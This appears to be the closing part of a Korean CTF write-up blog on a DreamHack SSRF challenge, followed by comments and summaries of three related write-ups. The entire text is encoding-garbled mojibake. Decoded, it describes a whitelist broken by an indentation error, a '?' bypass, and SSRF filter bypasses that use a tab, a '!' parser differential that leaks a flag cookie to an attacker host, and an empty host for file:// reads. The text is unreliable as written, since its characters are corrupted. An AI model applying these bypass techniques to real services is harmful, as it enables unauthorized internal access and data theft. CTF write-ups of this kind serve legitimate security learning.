๋‚ด๋ถ€ ์ „์šฉ ์—”๋“œํฌ์ธํŠธ๋ผ๋ฉด ๋„คํŠธ์›Œํฌ์—์„œ ๋ถ„๋ฆฌํ•˜๊ฑฐ๋‚˜ ๋ณ„๋„ ์ธ์ฆ์„ ๋ถ™์ด๋Š” ๊ฒŒ ๋งž๋‹ค. "๋กœ์ปฌ์—์„œ๋งŒ ๋ถ€๋ฅผ ์ˆ˜ ์žˆ์œผ๋‹ˆ๊นŒ ๊ดœ์ฐฎ๋‹ค"๋Š” ๊ฐ€์ •์ด ์ด ๋ฌธ์ œ์˜ ์‹ค์งˆ์  ์ทจ์•ฝ์ ์ด๋‹ค.

์ ํžŒ ๊ทœ์น™๊ณผ ์‹คํ–‰๋˜๋Š” ๊ทœ์น™์€ ๋‹ค๋ฅด๋‹ค.

ALLOWED_HOSTS ์—๋Š” ํ˜ธ์ŠคํŠธ๊ฐ€ ๋‘˜ ์ ํ˜€ ์žˆ์ง€๋งŒ ๊ฒ€์‚ฌ๋˜๋Š” ๊ฑด ํ•˜๋‚˜๋‹ค. ๋“ค์—ฌ์“ฐ๊ธฐ ํ•œ ์นธ ๋•Œ๋ฌธ์— ๋ชฉ๋ก์˜ ์ ˆ๋ฐ˜์ด ์ฃฝ์€ ์ฝ”๋“œ๊ฐ€ ๋๊ณ , ์ •์ƒ ๊ธฐ๋Šฅ์ธ tools.dreamhack.io ๋„ ๊ฐ™์ด ๋ง‰ํ˜”๋‹ค.

๋ณด์•ˆ ์ฝ”๋“œ๋ฅผ ์ฝ์„ ๋•Œ ๋ชฉ๋ก์˜ ๊ธธ์ด๋ฅผ ๊ทœ์น™์˜ ๊ฐœ์ˆ˜๋กœ ๋ฏฟ์œผ๋ฉด ์•ˆ ๋œ๋‹ค๋Š” ๊ฒŒ ์ด๋ฒˆ์— ๋‚จ์€ ๊ฒƒ์ด๋‹ค. ๋ฃจํ”„ ์•ˆ์—์„œ return ํ•˜๋Š” ์ฝ”๋“œ๋Š” ๊ฑฐ์˜ ํ•ญ์ƒ ํ•œ ๋ฒˆ ๋” ๋ณผ ๊ฐ’์ด ์žˆ๋‹ค.

ํ™˜๊ฒฝ ์ฐจ์ด๋Š” ์›๋ฆฌ๋กœ ์ฐฉ๊ฐํ•˜๊ธฐ ์‰ฝ๋‹ค.

? ์šฐํšŒ๊ฐ€ ์™œ ๋˜๋Š”์ง€ ์„ค๋ช…ํ•  ๋•Œ, ์ฒ˜์Œ์—” "curl ์ด ๋นˆ ์ฟผ๋ฆฌ๋ฅผ ๋–ผ๊ณ  ๋ณด๋‚ด๋‹ˆ๊นŒ"๋ผ๊ณ  ์ ์„ ๋ป”ํ–ˆ๋‹ค. ๋‚ด PC ์˜ curl 8.14.1 ์ด ๊ทธ๋ ‡๊ฒŒ ๋™์ž‘ํ•ด์„œ๋‹ค.

๋ฌธ์ œ ์ปจํ…Œ์ด๋„ˆ์˜ curl ์€ 7.64.0 ์ด๊ณ  ? ๋ฅผ ๊ทธ๋Œ€๋กœ ๋ณด๋‚ธ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ๋„ ์šฐํšŒ๋Š” ๋œ๋‹ค. ์ด์œ ๊ฐ€ curl ์ด ์•„๋‹ˆ๋ผ ์„œ๋ฒ„์˜ ์š”์ฒญ์ค„ ํŒŒ์‹ฑ์— ์žˆ์—ˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ๊ฐ™์€ ๊ฒฐ๊ณผ๋ผ๋„ ์–ด๋””์„œ ์ผ์–ด๋‚˜๋Š” ์ผ์ธ์ง€ ํ™•์ธํ•˜์ง€ ์•Š์œผ๋ฉด ๋‹ค์Œ ๋ฌธ์ œ์—์„œ ํ‹€๋ฆฐ ๊ฐ€์ •์„ ๋“ค๊ณ  ๊ฐ€๊ฒŒ ๋œ๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅˆ Silver 3] ํƒญ ํ•œ ๊ธ€์ž๋กœ ์ง€์›Œ์ง„ admin ์„ ๋˜์‚ด๋ฆฐ๋‹ค โ€” DreamHack My Best Friend ํ’€์ด
blog

[๐Ÿฅˆ Silver 3] ํƒญ ํ•œ ๊ธ€์ž๋กœ ์ง€์›Œ์ง„ admin ์„ ๋˜์‚ด๋ฆฐ๋‹ค โ€” DreamHack My Best Friend ํ’€์ด

์ธ์‚ฌ๋งŒ ๋Œ๋ ค์ฃผ๋Š” express ์„œ๋น„์Šค๊ฐ€ ๋‚ด๋ถ€ Private API ๋ฅผ SSRF ๋กœ ํ˜ธ์ถœํ•œ๋‹ค. admin ์ด๋ผ๋Š” ๋ฌธ์ž์—ด๊ณผ ํผ์„ผํŠธยท๋ฌผ์Œํ‘œยท์ƒต์„ ์ „๋ถ€ ๋ง‰์•„ ๋†จ์ง€๋งŒ, ๋‹จ์–ด ํ•œ๊ฐ€์šด๋ฐ์— ํƒญ ๋ฌธ์ž๋ฅผ ๋ผ์šฐ๋ฉด ํ•„ํ„ฐ๋Š” ๋‹ค๋ฅธ ๋‹จ์–ด๋กœ ๋ณด๊ณ  ํ†ต๊ณผ์‹œํ‚ค๊ณ  axios ๊ฐ€ URL ์„ ํŒŒ์‹ฑํ•˜๋Š” ์ˆœ๊ฐ„ ๊ทธ ํƒญ์ด ์‚ฌ๋ผ์ง€๋ฉด์„œ admin ์ด ๋˜์‚ด์•„๋‚œ๋‹ค. express ๊ธฐ๋ณธ ์ฟผ๋ฆฌ ํŒŒ์„œ๊ฐ€ ์ค‘๋ณต ํ‚ค๋ฅผ ๋ฐฐ์—ด๋กœ ๋ฌถ์–ด ์ฃผ๋Š” ์„ฑ์งˆ๊นŒ์ง€ ์–น์œผ๋ฉด ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋–จ์–ด์ง„๋‹ค.
#dreamhack#ctf#web+6
2026-08-15#dreamhack +5
[๐Ÿฅˆ Silver 1] ๊ฒ€์‚ฌํ•œ ํŒŒ์„œ์™€ ์ ‘์†ํ•œ ํŒŒ์„œ๊ฐ€ ๋‹ค๋ฅด๋‹ค โ€” DreamHack weird legacy ํ’€์ด
blog

[๐Ÿฅˆ Silver 1] ๊ฒ€์‚ฌํ•œ ํŒŒ์„œ์™€ ์ ‘์†ํ•œ ํŒŒ์„œ๊ฐ€ ๋‹ค๋ฅด๋‹ค โ€” DreamHack weird legacy ํ’€์ด

URL ๊ฒ€์‚ฌ๋Š” WHATWG new URL() ๋กœ ํ•˜๊ณ  ์‹ค์ œ ์š”์ฒญ์€ node-fetch@2 ์˜ ๋ ˆ๊ฑฐ์‹œ url.parse() ๊ฐ€ ํ•œ๋‹ค. ๋‘ ํŒŒ์„œ๋Š” ํ˜ธ์ŠคํŠธ๋ช…์— ํ—ˆ์šฉํ•˜๋Š” ๊ธ€์ž๊ฐ€ ๋‹ฌ๋ผ์„œ, ํ˜ธ์ŠคํŠธ ๋’ค์— ๋А๋‚Œํ‘œ ํ•˜๋‚˜๋ฅผ ๋ถ™์ด๋ฉด ๊ฒ€์‚ฌ๋Š” localhost ๋กœ ์ฝ๊ณ  ์ ‘์†์€ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ ๊ฐ„๋‹ค. FLAG ๊ฐ€ ๋‹ด๊ธด Cookie ํ—ค๋”๊ฐ€ ํ†ต์งธ๋กœ ๋”ฐ๋ผ์˜จ๋‹ค.
#dreamhack#ctf#web+6
2026-08-07#dreamhack +5
[๐Ÿฅˆ Silver 2] ์ฝœ๋ก  ํ•˜๋‚˜๋กœ ๋นˆ ํ˜ธ์ŠคํŠธ๋ฅผ ๋งŒ๋“ค์–ด file:// ์„ ํ†ต๊ณผ์‹œํ‚จ๋‹ค โ€” DreamHack web-HTTP-CLI ํ’€์ด
blog

[๐Ÿฅˆ Silver 2] ์ฝœ๋ก  ํ•˜๋‚˜๋กœ ๋นˆ ํ˜ธ์ŠคํŠธ๋ฅผ ๋งŒ๋“ค์–ด file:// ์„ ํ†ต๊ณผ์‹œํ‚จ๋‹ค โ€” DreamHack web-HTTP-CLI ํ’€์ด

URL ์„ ๋ฐ›์•„ ๋Œ€์‹  ๊ธ์–ด๋‹ค ์ฃผ๋Š” 43์ค„์งœ๋ฆฌ TCP ์„œ๋น„์Šค. ํ˜ธ์ŠคํŠธ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๋Š” ๋ˆˆ์— ์ž˜ ๋„๋Š”๋ฐ, ์ •์ž‘ ๋Œ€๋ถ€๋ถ„์˜ ์‹œ๋„๋ฅผ ์ฃฝ์ด๋Š” ๊ฑด ๊ทธ ์œ„์— ์žˆ๋Š” ํŠœํ”Œ ์–ธํŒจํ‚น์ด๋‹ค. netloc ์„ ์ฝœ๋ก ์œผ๋กœ ์ชผ๊ฐ  ๊ฒฐ๊ณผ๊ฐ€ ์›์†Œ 2๊ฐœ๊ฐ€ ์•„๋‹ˆ๋ฉด ๊ฒ€์‚ฌ์— ๋‹ฟ๊ธฐ๋„ ์ „์— ValueError ๋กœ ๋‚ ์•„๊ฐ„๋‹ค. netloc ์„ ์ฝœ๋ก  ํ•˜๋‚˜๋กœ๋งŒ ์ฑ„์šฐ๋ฉด ํ˜ธ์ŠคํŠธ๊ฐ€ ๋นˆ ๋ฌธ์ž์—ด์ด ๋˜๊ณ , urllib ์€ ๋นˆ ํ˜ธ์ŠคํŠธ๋ฅผ ๋กœ์ปฌ๋กœ ๋ณด๊ณ  ํŒŒ์ผ์„ ์—ด์–ด ์ค€๋‹ค.
#dreamhack#ctf#web+6
2026-07-29#dreamhack +5